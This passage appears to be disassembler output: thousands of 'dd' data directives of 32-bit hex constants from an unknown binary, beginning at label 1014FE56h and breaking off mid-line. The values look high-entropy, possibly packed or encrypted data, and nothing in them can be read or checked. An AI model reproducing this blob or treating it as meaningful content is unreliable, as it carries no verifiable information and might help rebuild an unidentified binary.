1014FE56h dd 10808E8Ch, 0D5CBBEA4h, 8D1BDF07h, 32700697h, 77FA3B0Fh dd 0F0474C3Ch, 0E8F3B048h, 0A5EC5E88h, 0FCBBFBBDh, 40C70F1Dh dd 4355F091h, 68DC1EADh, 448033Ch, 40E880C7h, 0A2051523h dd 0DC2D6357h, 0C7DC06EEh, 8490F88Bh, 0F8050C12h, 5F37B8B2h dd 6AD3A4Fh, 120C4A8Dh, 900304EDh, 3A449E64h, 0E4C8BC86h dd 43468A83h, 0C60C89Ah, 7BBAC084h, 14E883Eh, 78090375h dd 9A2DBA04h, 0D2F7EA80h, 66985021h, 0E2B5C35Ch, 52FDAC0Ch dd 0D41B9F10h, 708DD7E0h, 512B1713h, 0E683EA91h, 58EAAC70h dd 834C850Fh, 0FC164FACh, 5D543B49h, 395C162Ch, 0B57B56E2h dd 5F634A7Ah, 0AFC3F63Bh, 74F8593h, 3BD90313h, 458FA3F3h dd 661BCDF4h, 8E3F2CF1h, 6067689h, 2611594Fh, 39E45F8Bh dd 2CC248C0h, 0C51F7320h, 8DF88254h, 0F271014Ch, 2B889010h dd 18A124C4h, 9C13221Fh, 3BF59E90h, 89A7654Fh, 7F060919h dd 30606562h, 1CE2B10h, 0D1B5F8D7h, 84AA9C03h, 81148B0Dh dd 0FFC10C2Ah, 8A9B4F04h, 0E2C43031h, 7F5F20FBh, 0FB1C20F4h dd 565BCC81h, 0CDA1240h, 6F46E380h, 31310C18h, 5C751E3Bh dd 81078C60h, 721312FFh, 2102F94Ch, 0CFB2700Fh, 0AE6423Ah dd 0CFC166B9h, 215225EBh, 5B33E210h, 3684C548h, 4F962EBAh dd 554860E9h, 0B9DB10Ch, 43293244h, 89017485h, 0BC24BF87h dd 426CFE46h, 9AF82A22h, 0EE2253Fh, 0A1BF6E13h, 0F63A8D0Fh dd 0C5DC9A1h, 0A4B5A629h, 5C6E4B98h, 0FBA5B233h, 0E9585268h dd 0DE832399h, 0F65ED898h, 8BAB2B98h, 75F8238Dh, 4505A6D4h dd 3B225219h, 6B752E41h, 6CF212C4h, 7489CE88h, 5A7A1406h dd 4E6C2C0Eh, 3B061287h, 7AEE6A77h, 71087744h, 8279306Fh dd 0E6038F06h, 760CA1F3h, 40EE1CEBh, 76834B7Bh, 0F371927Bh dd 5C8BFB69h, 0AE9CEE96h, 6244184Dh, 0E358AEE3h, 394009F5h dd 0CE42621Ch, 0E62C0F21h, 7922045Ah, 4E21628Bh, 48F0F8EBh dd 18134C03h, 55D8BBFCh, 603D2583h, 2EFF31C1h, 0C3060B56h dd 0E1950BEh, 20681DEBh, 4E5B9F37h, 0F3F11EDh, 45730CA4h dd 63D1892Dh, 2A408A70h, 48FCD516h, 0CFFB848Eh, 0AC293455h dd 53630350h, 48344F57h, 0B894AF03h, 0F03B065Ch, 82E41E75h dd 5163580Ah, 1C9008A3h, 0D41CCF54h, 15EB0208h, 89A10689h dd 0F4C25009h, 8B09A135h, 878D3010h, 8EB168A3h, 3491B398h dd 47B8FD14h, 14EB4E2Ch, 0B87CCB7Eh, 0B9ED1BA1h, 0D2B82DF1h dd 0FFEFD83h, 4AC29D07h, 4533D123h, 48322E89h, 0FD814294h dd 7CB6C85Dh, 0BA534BE3h, 0EC59E8CBh, 0FEC30317h, 801BE103h dd 0B071AE8Fh, 81474876h, 4CC7071Dh, 811BF004h, 0EBB548F1h dd 5BCDC5Fh, 6DBE272Eh, 0F4FF0471h, 0FE5281B4h, 7B742FACh dd 8C09E95Ch, 31689559h, 336F886Bh, 0AA353943h, 0F7080BCEh dd 15A39AC1h, 0B9204331h, 910EB321h, 6342D89h, 21AAA6A8h dd 907CCB52h, 91350D12h, 0D4538BCCh, 57C506B6h, 0FFED0983h dd 7204B2FDh, 92BE7E31h, 0F068A07Dh, 0E9AEDC3Fh, 39750BBAh dd 4D44C58Bh, 4CDF0351h, 85AC507Ah, 96A2F4B5h, 0B182FE0Fh dd 9FE752BEh, 6404C029h, 1E87C5C7h, 658BE73Ch, 76275EDCh dd 30EB1457h, 0C2EF831Eh, 0B27DDB85h, 509023E4h, 41E76E4h dd 79D62C74h, 260E0BBAh, 410487F6h, 0E7F45A20h, 5242480Ch dd 0EF65FA88h, 57750822h, 0E382B8F6h, 983B595Ah, 0BD0A74A5h dd 8F2DA9E4h, 0DBB2DD50h, 0BA944B7Eh, 1C690F6h, 10413BCAh dd 0A890576h, 0D9D07214h, 3774F8F9h, 0A8EEEB02h, 6131750Fh dd 423FBA57h, 0FFE6817Ah, 3B09DF50h, 7A2072F2h, 0E893278h dd 4AF6100Dh, 0F0DAC027h, 1EC1692Bh, 263B5CDEh, 440ECEF8h dd 9EF23208h, 913E5741h, 60482B79h, 0C65F958h, 0FAADC82Eh dd 0B60F2878h, 8010198Bh, 22389821h, 40C70911h, 75179004h dd 5FF2917h, 206624FBh, 0C2204E06h, 0E32110CEh, 9D2F59B0h dd 0A646DA73h, 69F3577Dh, 89BF4AB4h, 87EF09Eh, 18256A98h dd 63A15420h, 0F6D6E883h, 0C5C61BDh, 4B3BC2D0h, 73F001F9h dd 3C0F8B3Ah, 0CB007CCEh, 5F391A7Ch, 5E157604h, 0E7272153h dd 9B372E16h, 7D09EB1Bh, 42C7532Eh, 45B1244Ah, 0A3C87238h dd 58462006h, 7E2FA84Eh, 31F80761h, 13427C85h, 0F0AA3373h dd 19507C56h, 5EB7144Dh, 0C64FC8ABh, 816A9926h, 0A66CA078h dd 0F87D0A3Bh, 4746D272h, 62B7CA36h, 0B501574h, 891CE515h dd 1F29120Dh, 2108D50Ch, 6A63E7E7h, 7F58C25Ah, 64486D5h dd 950C700Ch, 0DC3FAC86h, 11D7DE81h, 5FF1E8EBh, 0EE4464FEh dd 3D3398F3h, 0EE28F72Bh, 0E6FE40E0h, 2207781h, 11FEC93Bh dd 0D23C02AFh, 55EB520Bh, 7415F720h, 144BD3EFh, 574901D7h dd 27DCE896h, 555FB2F8h, 4C388FDEh, 34FBD2F3h, 0A15FC54Fh dd 0D2B908A7h, 7E58CBF0h, 61B84DB3h, 0F488801Eh, 50376563h dd 0BAA93F1Ah, 9C689912h, 4149C711h, 1A1E579Dh, 80D4C183h dd 89D67507h, 98C5A43Dh, 1437A4E9h, 0A373C83Bh, 5F83933h dd 0F2EB3B18h, 4CC01B1Ch, 47130623h, 0E8C1940Ch, 1C5F3BDCh dd 0BCB50329h, 89FE88C7h, 0D73E9286h, 0BD348284h, 49B1972Ah dd 63881520h, 19543259h, 0A2768DA5h, 2B2D76DAh, 0E5489D3h dd 5029C022h, 0A2818D18h, 0D5F45734h, 82F17272h, 95F458BBh dd 0A016709h, 72998D39h, 5E8D4819h, 217A812h, 8D215890h dd 88173904h, 7303A648h, 29110107h, 9EB8E07h, 585B6183h dd 0FF8A838Fh, 72884754h, 0F790A0E8h, 9D3E7080h, 8DC66B80h dd 3B001034h, 8A4373F3h, 2CDB8418h, 9C3C3075h, 805EC758h dd 4600F3Bh, 0F7EB4643h, 4E73A4C7h, 0EB0945C5h, 0F4226305h dd 39CCB7B1h, 27B59855h, 8F309982h, 550EBC3h, 354F3A0h dd 0E8CF7542h, 0BE710EBDh, 7E73F706h, 68166FF6h, 8A7605FEh dd 0AF0CBF06h, 0E65EA540h, 253E8458h, 1CF5C143h, 0B20258AFh dd 0AC862B09h, 9985AA19h, 2431C03Ch, 93C21088h, 0C22700EBh dd 45291373h, 347269A0h, 0EB30F090h, 3C0C4AEh, 0C8A7EEF0h dd 0C2C41670h, 0D0D1414Ah, 0B8901688h, 0C92F6BEEh, 984DD80Fh dd 2A24AF79h, 42FAB521h, 570A86C4h, 0D2D8A8BAh, 247404Bh dd 0FF0CF882h, 7C8DEA80h, 762718C7h, 31E5012h, 288C82Bh dd 47EA0F01h, 0EB0DE146h, 29657360h, 9A02D303h, 14544683h dd 0D15572C6h, 730E1131h dd 58D56F0Ah, 0F47B0DBEh, 8A42DC18h, 8B6A46D9h, 77D0D8FBh dd 6AC1972Bh, 0E82C4D27h, 0FECE1473h, 6386589h, 804066C0h dd 5F21ED3Ch, 0A4434730h, 0E66345ABh, 692B0303h, 5BD5D2ECh dd 1EF969D5h, 0C4ED0469h, 0BE40175Eh, 0DEE2A0C9h, 200C0B3Bh dd 0AEAE0FC2h, 0D5DB76Fh, 0A708A966h, 91BE41Dh, 59F73102h dd 99A07C09h, 76FF0689h, 1206186Fh, 89A138AAh, 4A964495h dd 673CA46Ch, 0F6FE23B8h, 7582C20Bh, 57C02134h, 229EF983h dd 0C1AE7A14h, 0E11E3D5Dh, 0BD3C0B1Fh, 8D77285Ah, 0BF8ECF67h dd 0F6DC99h, 5F044F8Ah, 8273E180h, 65CF967h, 0C4EECE86h dd 0AB7E8172h, 68FC9827h, 7069B74Eh, 0C50A9274h, 1088AEADh dd 480E8B06h, 4BC6B7D1h, 51BFDDB0h, 0E6BFAAA1h, 7EA1A209h dd 0AAEAA738h, 0FF1F3ADFh, 0FC6254EAh, 0C562AED4h, 0ACC62501h dd 0AF855AA9h, 985AA5A8h, 4558BAFh, 8A492007h, 0A9D74B0h dd 9E1A0860h, 1D2B754Fh, 0AEDFD042h, 0CBCFEABEh, 75023030h dd 0A40AD762h, 55B40A7h, 8216ADF0h, 8B073560h, 14F86C4h dd 0C66A98FAh, 5304409h, 291B5D0Ah, 0A2F02E4Bh, 4F34E851h dd 0DF29E930h, 0C9B33A96h, 59056A0Bh, 0ACDDD0E3h, 0D89B1A4h dd 63B5556Bh, 23C1EB2Dh, 18672E6Dh, 64ABADC4h, 9A185A05h dd 733FF774h, 3006BCB6h, 0E8C88A04h, 0FE804AA8h, 0C36ECA89h dd 3FDA0923h, 0C0AE15Fh, 1302E320h, 0AD88FB24h, 0C89D732Ah dd 6B031061h, 2662CAC8h, 8CBEF07h, 818A20B3h, 68911A3Ch dd 0D1478AEh, 1AB60B74h, 228FF47h, 0DF49705Bh, 18739A83h dd 0B4A1455Eh, 0FE069297h, 0C65E9690h, 470D3707h, 6673958Bh dd 0D6BD59CCh, 23D54812h, 660A44D1h, 0D1474E15h, 6E417459h dd 0D448F132h, 4C5C3542h, 8B8F1720h, 88470B00h, 0EB053144h dd 483B4829h, 803A753Eh, 0DDC8FFB7h, 18EBD42Eh, 0A7E29CD7h dd 406CE74Ah, 451741Ah, 53C01478h, 0A2E21093h, 89EB0267h dd 49745E25h, 938806F4h, 88028FE5h, 618E2B0Dh, 4896F61h dd 4AED3E6Bh, 0BE443E91h, 0FCA887Eh, 5A5DC495h, 353FBD0h dd 0F333FBE4h, 0B0B0BF2Ch, 178B4DBFh, 0AFDB339Ah, 78AE1C8h dd 74613C07h, 6A72461Ah, 0C3B02AF1h, 74CD9222h, 8B0359B9h dd 0CE05F44Ah, 0F908DDFDh, 1427B309h, 5A900F02h, 897C478Ah dd 4D04C33Ah, 0D33B45E3h, 5F51F2FEh, 0F80C5CA9h, 607E7F54h dd 2B75E8EEh, 190A4567h, 0E0936A4h, 9A148C75h, 3941CDACh dd 0A3CAE7C4h, 508CFE55h, 2015C983h, 2315B7EBh, 13724A8Eh dd 0EAE810A2h, 5F147D37h, 6F249848h, 29097316h, 0FCAB86FEh dd 3181F620h, 0EB4780CEh, 67FD2A82h, 75C88503h, 93A40B59h dd 0CC9EECC0h, 4874621Ch, 102EB379h, 4C12C30Bh, 402CF70Ah dd 1E912825h, 2ACD803Bh, 0F8C8CF1Fh, 9EBA2EA9h, 0BF722F70h dd 17175CE7h, 94CE1685h, 77175902h, 0D2803074h, 84720CABh dd 0A4683486h, 4CCC8D4Bh, 3B5B32AEh, 0F7C4DAC3h, 0DF7DCB62h dd 0D41ADDA5h, 0ACCEC2A8h, 70894D48h, 583B9990h, 0A183304h dd 1C063F08h, 0CC104813h, 0ABB715CBh, 33266057h, 6C90BFEDh dd 7E0B57D5h, 791D8B5Dh, 1FFB1EB1h, 74CDC10Fh, 6141F615h dd 40666060h, 0F0E0E3B5h, 0FEC7CC2h, 348B3FEBh, 40245DFDh dd 0C1206AF8h, 549702E7h, 0B0D657Dh, 0EB0B8930h, 3C81E971h dd 74FD3B07h, 0ECF7B130h, 0C0F0AAF5h, 6E89FF55h, 0F87BEC6Eh dd 2E64EEB6h, 8BEB1C0Ah, 8B512574h, 98EDEF8h, 0B868F981h dd 0CCBD0C77h, 4B705FAh, 1252EB41h, 0F0250C2h, 0E8F9C117h dd 0E2448FD4h, 0DC5E8001h, 0FE650EB7h, 0FC4D8803h, 6AFD4598h dd 87A5024Ah, 90770FDEh, 0A4D8DF1h, 0B296AE9Ah, 25AF5112h dd 98ABDBFh, 0FDF43402h, 46F32EC4h, 451CA8E4h, 0CD3230Ah dd 0A596CCE9h, 0FE006FE2h, 82A8105Eh, 0F384250Fh, 8EB4D31h dd 0B131B801h, 10263C99h, 0D401CB33h, 71FE2408h, 0EA5071BBh dd 40BFB2EEh, 98EF2473h, 8166BBE5h, 88FE8122h, 32AE3CD5h dd 29A81008h, 0F1533E86h, 773D3625h, 81B2A9ABh, 821A05Dh dd 5E745701h, 165ED964h, 0B2C4A4F0h, 1DBE4918h, 7E04844Dh dd 7A85BA10h, 1CD368E9h, 33EBCBCFh, 169EA2F5h, 0CB96418Bh dd 8372FC71h, 0DD850410h, 0B821C8D0h, 89FDF61Fh, 0FD0D7420h dd 62537D61h, 8AB59899h, 0EB88E64Dh, 0E52E7061h, 5A5FF1B1h dd 42392C53h, 6745F05h, 0EB12B2EDh, 25704B0Fh, 0DEF526FAh dd 8E263459h, 0EB39D5A5h, 9EF52E48h, 9B1E67Fh, 9471F8Ah dd 66E97F00h, 2051DBECh, 1106E50Ch, 7631F04Dh, 0C0F70B5h dd 3914D03Fh, 0FEC5506h, 631DC8Ch, 7C20FB80h, 78170A13h dd 0C2BC0E7Fh, 1C2F8A3Fh, 0E083D240h, 616139F7h, 3CC68420h dd 0E1091FADh, 1077985h, 870FD08Ah, 5863A79Ah, 0DA607760h dd 4A7C924Bh, 0D806CC19h, 0E404E002h, 0DC13FC08h, 47F6CF46h dd 81269893h, 0A9D3BE5h, 3D2D5003h, 481F1C08h, 0D24F396Ch dd 8359A60Dh, 8FC748Ah, 413B228h, 800CFF14h, 12629D83h dd 2AFB3002h, 15237524h, 99CF12Fh, 4AD71EF7h, 8D9E0276h dd 4479012h, 1FD868F7h, 2F8B9828h, 8E9DCBBEh, 41446085h dd 0A1E9EBD0h, 0EDD1F08Bh, 8BE842Fh, 0F0F11E3Fh, 905D301h dd 3A59C004h, 3A468968h, 7439D06Fh, 0ED0C49CBh, 20EA680Ah dd 0B9466C81h, 50AFB20Ah, 524D4DA0h, 10C8B9FDh, 3F182051h dd 1475361Dh, 349D7F5Eh, 0C62A0E9Fh, 7892FD7Bh, 8905198Ah dd 551799D0h, 140DFB1Dh, 0C22ACEF6h, 0D6771974h, 34F46BCBh dd 4280F6C2h, 47ECA6B1h, 35198F69h, 0F8532C2Fh, 8F156776h dd 79BA021Ch, 96C36550h, 589617E1h, 28F89124h, 187850E2h dd 35435FE8h, 706E4C27h, 22D46C09h, 0E98508FCh, 26C42403h dd 0AF301754h, 93C1BA10h, 883F3BE1h, 6ABFBE7Eh, 831A9645h dd 9AEDD22h, 0D168C8D2h, 141FE84h, 90F822Bh, 0D094BA82h dd 0C63F262Dh, 43B527EAh, 4ED69027h, 42D26485h, 4EAC53D4h dd 15CAF366h, 0EB2D4071h, 4BB53E7h, 9020C380h, 0BD8D4014h dd 0B7E5C97h, 2F75CA3Bh, 44CF895Ch, 6F0227Fh, 0BFF2CC88h dd 78218EADh, 2F248721h, 0F83A8921h, 0E90EF4BFh, 8C638885h dd 0B690F401h, 80327D32h, 0EB5F82D8h, 5AD48329h, 750AF674h dd 48C53709h, 0E98BC8FAh, 0A09BF108h, 88592AC4h, 9FD4BD3Bh dd 0C34B4868h, 0F5E91314h, 74036849h, 488B330Bh, 2E515004h dd 2486F62Ch, 0F17079Ch, 0E8D102BFh, 0F43311D7h, 3215E75Dh dd 0FACA2B87h, 0F103C4Dh, 9190A146h, 509C330Ah, 3FF31D17h dd 150E8112h, 5F07A967h, 0BAD43BCCh, 85CC2D51h, 90D89D7h dd 988EBCF0h, 40C6B84Dh, 0BC491EFCh, 9DD242C9h, 8B9577FFh dd 0A59F5EFBh, 0DA01ECE2h, 2DE68114h, 5A743C6Eh, 364877B9h dd 42642543h, 5E594A2Ch, 0F6851205h, 8624172Ch, 2D1257A6h dd 3B560D75h, 0B9542A1Fh, 4A6294E1h, 35EA34EBh, 691A09A7h dd 0B1D11706h, 7F0512C9h, 27AFCC1Ah, 74160714h, 0C6812751h dd 95F969FDh, 4D24B129h, 7DC92792h, 27D4DCA3h, 3CEB2112h dd 4845BBEDh, 8C90FE58h, 742FF7AEh, 0B11B0E08h, 514EF134h dd 838FF25h, 8A073E54h, 8017CC74h, 742ECCABh, 288A5D33h dd 30EAE0C6h, 0EF515A04h, 88022959h, 48C5EBF5h, 8408224Ch dd 2C33B54h, 9835EB24h, 2039245Bh, 66090B9Ah, 89E89870h dd 5EB081Bh, 0F60E5711h, 40A36B4Ch, 6A0A7B2Ah, 742B6098h dd 2B023B0Ch, 8341EB59h dd 2621743Eh, 644B400Dh, 4010D90Ch, 0EB99C0BCh, 3E0C2553h dd 0F2577BB7h, 0A082321h, 4208E0EBh, 1A82D233h, 0E4811B74h dd 787C177Fh, 11731358h, 9D7C53ACh, 0DAE95A8Eh, 0FAC06A13h dd 18DA04EBh, 7578000Ch, 0E1E78303h, 4973B322h, 38DAFE09h dd 0F70372F0h, 0C70BC68Bh, 0E4153875h, 0AAB7C264h, 5F614389h dd 968A6261h, 201A067Fh, 0F420C0EFh, 57505299h, 0FFA58995h dd 0EF17C7C3h, 0D0BB20CDh, 30C38331h, 55C010C9h, 0B0CC5790h dd 3950FBFAh, 3717E68h, 62D45D33h, 0C8273F8h, 0B5EB1888h dd 1BDA2BA3h, 2802406h, 3F84A6D5h, 1580C0F0h, 0AA753039h dd 4B660B48h, 0C61A2140h, 5373001h, 9483D899h, 108BF85h dd 0F6FC5D8Bh, 26D343C3h, 8A5DC7AAh, 2D868BDAh, 842014EBh dd 402B7B0Bh, 0BF60209h, 9F242089h, 92408A01h, 0EBE72BE0h dd 32F40632h, 0CE79620Ch, 6A561785h, 0B5842220h, 0CCAB1005h dd 2BD3EA50h, 0F68C61AFh, 5A2DB4E6h, 520A3FD6h, 30C83204h dd 0DC8A0552h, 0B469AEB1h, 20FC7E29h, 8DF8098Fh, 0DE03FF78h dd 913A4303h, 0DFB176C8h, 926F1ADh, 0EA098D32h, 1828F8CAh dd 0C78BC15Ah, 0D0DC504Fh, 59A615EBh, 93125F97h, 0AD82783Ah dd 0A6977404h, 46FC09A5h, 510D4FAh, 0EDF91313h, 9CEC2116h dd 1F421CDEh, 1941DCB4h, 991B09CFh, 5A095219h, 22228F12h dd 7B717F01h, 0FF0C4D00h, 7A780449h, 8A11250Eh, 7F02CCC1h dd 98B6E1A0h, 0AD0B5B31h, 0E9E997F9h, 9FF88319h, 7E107E10h dd 0C35D1E8Dh, 0FD086BF8h, 0AA18A31Ah, 195217Eh, 0FF5618DEh dd 1AD70BA5h, 0E6BAE4F5h, 71CCA3Eh, 0B97F9321h, 0D7EA4B59h dd 4BEDFE14h, 26659972h, 6D971C7Bh, 6220310h, 6D7D4657h dd 21375057h, 6F50363Fh, 9D5BE240h, 0C3835591h, 50177E9Fh dd 8CF0D53h, 304104B9h, 0FC525164h, 0DA668F1Dh, 7371FD3Ch dd 0F8C2B848h, 764F62E2h, 0A1441202h, 0E6AD7F95h, 332D6A22h dd 0D2F4C3DBh, 0F6022956h, 0E1CAA0B8h, 72744940h, 42EABCB8h dd 0D1903D18h, 0BFF17C1Ah, 5C619EDCh, 0A8154270h, 5524319Dh dd 802F406Ah, 0D260BFBFh, 0AD18ED4h, 518901E8h, 0AAABF387h dd 7E641D92h, 860F041Eh, 7DF9A4EFh, 8414EE62h, 12D02ABBh dd 0B785EAEFh, 46500AF3h, 8FF6F41h, 0F2C23BA7h, 26839387h dd 8B2E6188h, 0EE144304h, 1792A653h, 0C052348Dh, 4E6C11Fh dd 9E2AAA7Ah, 0F29592B0h, 74CB0315h, 1518A2Ch, 256A8E77h dd 0FA818C7Eh, 1477C73Bh, 8AC5033Ah, 43149892h, 30479008h dd 0F5762840h, 813BE341h, 3BD4752Dh, 8E131352h, 2F0422A0h dd 65F2C172h, 0D15C0512h, 0A3F78CBEh, 0CA8ADA4h, 8D182CF9h dd 0BF79A4B6h, 0A521CB50h, 0BC8A08F7h, 55EB064Fh, 0FF792C83h dd 0FA489235h, 0B058AE92h, 5A4008A2h, 7267423Dh, 3AA856F1h dd 5055482Dh, 0FBA206EBh, 22C30C08h, 2AB604Eh, 1D390DEBh dd 13814C4Ah, 31420E74h, 8805865Fh, 0B2C1BF3Ch, 702D3FC8h dd 224525F1h, 75FE5643h, 0F9987C10h, 2524FF18h, 0FD656B54h dd 86581568h, 0F75FC09h, 0A15EDCA1h, 894A481Ah, 0F462A42Dh dd 0E85E61F5h, 2E17ABEBh, 1FF00D0Ah, 0DC035848h, 0C7FFB8C3h dd 12554376h, 808F106h, 5712F911h, 0E3C16D42h, 2B6D27C0h dd 18A9B5AAh, 43C6D2BAh, 5FC444DDh, 146249B6h, 917F0B05h dd 0E823FFA7h, 16F20B48h, 0A4BE7C2Ch, 84881388h, 0FD49EE05h dd 5838D040h, 0F23B31F4h, 4A0E8528h, 1C3A820h, 8D575337h dd 133AF355h, 0AB40578Bh, 5C1D7409h, 2BBC15B6h, 20B8410Dh dd 95C97F03h, 27FF8505h, 42AA7395h, 0FF9B8A8Bh, 0DE96A4Ch dd 0E86A5B5Fh, 68FA8890h, 7B488EEAh, 6231F749h, 0D20F7D56h dd 4473E7EAh, 1FAE561Eh, 883549F5h, 64A82249h, 0AC4F2EFCh dd 0A428D077h, 875C68C2h, 731A8DCBh, 11123A26h, 49748FF0h dd 1081FB16h, 4705948Ah, 6090D265h, 81CEB23h, 10740236h dd 0B92620C4h, 80E3EB0Ah, 82241DA0h, 12A3D24h, 49EBBF12h dd 1FFA1674h, 0A1999C9h, 18AB315Ah, 0C1F2C84Ch, 53F9207Bh dd 320C1F4Ah, 0A137261h, 0E772B7Ah, 0E93C334Fh, 59E0EBA9h dd 0BE978B4Dh, 55F77A5Eh, 47FA594h, 0B4FD6AC1h, 5948499Eh dd 0D39411FDh, 3DE021D3h, 0E92E445Ch, 68931EAh, 0CD7B1175h dd 0CE7DFE29h, 63EB2720h, 38560FC1h, 0D23D2EADh, 4A018A84h dd 0F6F08780h, 8075B186h, 13740788h, 35CD4147h, 1AB52F19h dd 14AE4916h, 9908CA88h, 0CB752E10h, 67800AE0h, 0CF19FF4Bh dd 8060FE0Ch, 7F4A5CC2h, 8D625E33h, 0DC8F01BAh, 0B531D1A9h dd 5F340DCAh, 0E65D4F5Fh, 0C5ED93C7h, 0AF106188h, 0A6107AC8h dd 0A0099490h, 8B68FCE4h, 0FB528108h, 287D12C0h, 2CF2CFBh dd 58A25342h, 62FE0204h, 101D6BC4h, 0C2EC930Eh, 947D7CDAh dd 3C1195C3h, 84030CFCh, 0A4EA0848h, 0A9C978FBh, 679FC29Ah dd 0C8F649CAh, 76D233C2h, 0A4B86424h, 8163B06h, 0CF802074h dd 4AF83D42h, 0C3135ED2h, 1D7213F9h, 77240A0Bh, 5B205E18h dd 0D5046A0Ch, 0A3A35794h, 0F981E911h, 72CC463Eh, 0CA451012h dd 88082608h, 45B70A76h, 3C6A7D4h, 53C3899Dh, 7725BF63h dd 5D977E66h, 0AD0B3724h, 0D1638A82h, 0B5EE66A5h, 75029AE6h dd 853C8352h, 98674650h, 0BF0A8459h, 758593FCh, 71BB5320h dd 0F60789FFh, 1446A840h, 0E89D1590h, 0CC58065Fh, 406180Ch dd 3F8BE6A0h, 14CC5EFAh, 0DF3E267Eh, 8166C010h, 11020C4Eh dd 6A12B9D3h, 831588BAh, 0FC2BDF97h, 0D672440Bh, 106DE19Dh dd 8C3E29E9h, 667C8083h, 2783EE3Ah, 0D08F7A18h, 592DC30Eh dd 44C8D4E4h, 50078840h, 2866266Dh, 4341C43Eh, 0B884EB85h dd 91BC9390h, 84068A12h, 0A4C86C5h, 130FCC3Bh, 21EF09E1h dd 0B405EB32h, 8EBB360Bh, 0D1C0212Ah, 0C23A19C0h, 71DC36ECh dd 456CE720h, 20024B08h, 8893D08h, 46468E26h, 13385401h dd 32BB10CFh, 12960E9Ch, 80EE92C1h, 9E70253Eh, 900852D9h dd 0E809CB32h, 0F248E924h, 0EA2EF191h, 0CFF1AB6h, 9B048342h dd 88EDAFE4h, 45C6F403h, 0E3201F3h, 95E8AD0h, 46C73477h dd 0AD48A704h, 0FFF44540h, 6456EEE7h, 2DAC4344h, 65EB007Dh dd 7F4EFB83h, 5E65743Eh, 95F12A0Eh, 54E946F1h, 18540AA7h dd 754C0A30h, 0C8FE6737h, 7E8030EBh, 2CF63601h, 0BD140CD6h dd 23F274A1h, 0FCD07CCBh, 5B20AF38h, 27EBF08Bh, 0ACF246CEh dd 94685A22h, 6CA83AC5h, 40777A37h, 0EB36F108h, 0FD06790Eh dd 4DF59C61h, 13F810B9h, 82F17D80h, 0D4EB4F5Bh, 9F21427h dd 0FDA2E2C9h, 30BC1C91h, 0CDE04A3h, 0D469916Fh, 0A07DEA4Ch dd 901475E4h, 533C3788h, 4F43479Ah, 6078800Dh, 0EDA304ACh dd 1FDC01B2h, 3313CA20h, 0D606CE83h, 19826EFEh, 102874C4h dd 7D7A7C63h, 39FD7B5Fh, 1015FA5Fh, 871BD270h, 0E109C1Fh dd 0FC5A0C3Fh, 0F2398A69h, 0A09740Ch, 0DC82A1F4h, 6665E678h dd 5EDD816Fh, 211E0602h, 6319050Ah, 11FE2C12h, 4F80164h dd 6A8E318Ah, 7E67860Fh, 691A0A38h, 82E31B74h, 2802579Bh dd 4EC3ADBCh, 8FCD4C70h, 17D8C0E9h, 5E64286Ah, 32D0B098h dd 7E422DFBh, 0E90EA828h, 137A4D01h, 0B58D2B82h, 0EF8CFE3Ch dd 0E147537h, 640B9D88h, 18523D22h, 752B2650h, 4855174Dh dd 0DCF42728h, 0ADA86876h, 0EC458E7Eh, 83EFA4FFh, 2FE1E0E6h dd 4DF40FA4h, 7E259D5Dh, 92BA042h, 443761Ch, 21DC22A5h dd 15A86613h, 0E40AB017h dd 5E461E88h, 3138BBF0h, 758B881Dh, 5C295C66h, 0A09423A5h dd 650741Ch, 6EA5462Ah, 0E4C9815Eh, 0F3D975C2h, 6551F220h dd 450A92D2h, 1080250Eh, 76053947h, 3D6506C6h, 752D5637h dd 86057528h, 8A274649h, 28CC2C1Eh, 56AC9A21h, 0A7D0640Fh dd 641221AFh, 98136408h, 0C653A022h, 0D0A28494h, 0F612A466h dd 0DDC6405h, 9F154DA0h, 2653CC50h, 0FE3C8381h, 0BE0F5000h dd 5090C898h, 6148D425h, 0B81428BFh, 49F895CCh, 0D8845A52h dd 84786EADh, 7E13B691h, 0AEEAA64Fh, 43D304BFh, 9F031BC8h dd 0E8836381h, 0AF86F70h, 4EB6A292h, 0A4D912EBh, 11AC96B6h dd 0A21AC34Eh, 43BDC213h, 633BF2D7h, 3FFA22A7h, 0EB562C98h dd 4C3128Ah, 0CABC2A22h, 6271281Dh, 74EA8B51h, 3F804166h dd 0A74A9C5Eh, 8DC70A22h, 0A9720178h, 0ED221532h, 440C4C75h dd 0F128C0D7h, 1158EB01h, 3671F50Eh, 74AD30FBh, 1A5B08D5h dd 314076D2h, 9D2F743Bh, 2A535810h, 4C65F31Fh, 6A38A057h dd 0BF5E626Fh, 2F8AF804h, 283A2B3Bh, 306A1436h, 0F52C165Bh dd 8C60D36Dh, 0EB786A85h, 0E91091CFh, 0C5607F4Ah, 0D2B5FFE8h dd 0FB9C5ED5h, 7BD1B63Dh, 0C6031A61h, 0B209A95Dh, 568947D1h dd 0FE8120A7h, 6ECB558Ah, 7487611Fh, 95B475Fh, 42277D36h dd 0CD7F93Dh, 7362039h, 73D13A47h, 0EBC1C304h, 7AC2083Bh dd 772FD0F8h, 6900C21h, 0F22B07F0h, 20CA8B46h, 7E183C2h dd 0DE01B325h, 39CE488h, 0EB754E42h, 0B4EBE932h, 8AC84481h dd 5EC18BD0h, 9BEB1A1Fh, 19948ECh, 85118A04h, 354E2503h dd 0D4CACF78h, 769F1A64h, 0D02B3DA5h, 9348A9E5h, 3E43290Eh dd 844882A3h, 0CDF2EFB4h, 0C7E3250h, 16AC88Bh, 2C985ACBh dd 0D3E85D0Ch, 30C11CE2h, 4C1603F9h, 33029C0Dh, 74D185CBh dd 32CF4460h, 0EA0C5275h, 912EFADEh, 0C8458861h, 0CC4E312Ch dd 4FAE0D47h, 0C92E5967h, 491D7EDBh, 0EA7B13FFh, 454076C2h dd 0ABAD97CBh, 622E4AFDh, 3BC4114h, 9E011A65h, 0A607E9D4h dd 0D05272D5h, 50B54408h, 3951B0AEh, 28A501BAh, 84CE3203h dd 5634027Fh, 72E348E6h, 0A03286A1h, 0BA45ED4h, 0C1B12083h dd 29084D80h, 85CA594Fh, 0C6C90675h, 4E228031h, 92EF59ADh dd 4D5CD03Ah, 355D0194h, 0EFB9E9F1h, 75123E49h, 5F95CA4Fh dd 0A04CE8A2h, 51140DB2h, 55481725h, 9C14B9A3h, 0DC55CBD8h dd 0B559C706h, 53A0370Dh, 0CCE1E89h, 0D55D0719h, 1553CB4Eh dd 0F05DE6ECh, 15756F14h, 7D380AB8h, 3645053h, 0EE398465h dd 0DC39A3E2h, 79D862F3h, 609220CBh, 438D11C8h, 199D019h dd 3204111Ah, 0F0AE05E5h, 321524ABh, 57B22AAh, 0EDC8FF9Bh dd 8415E910h, 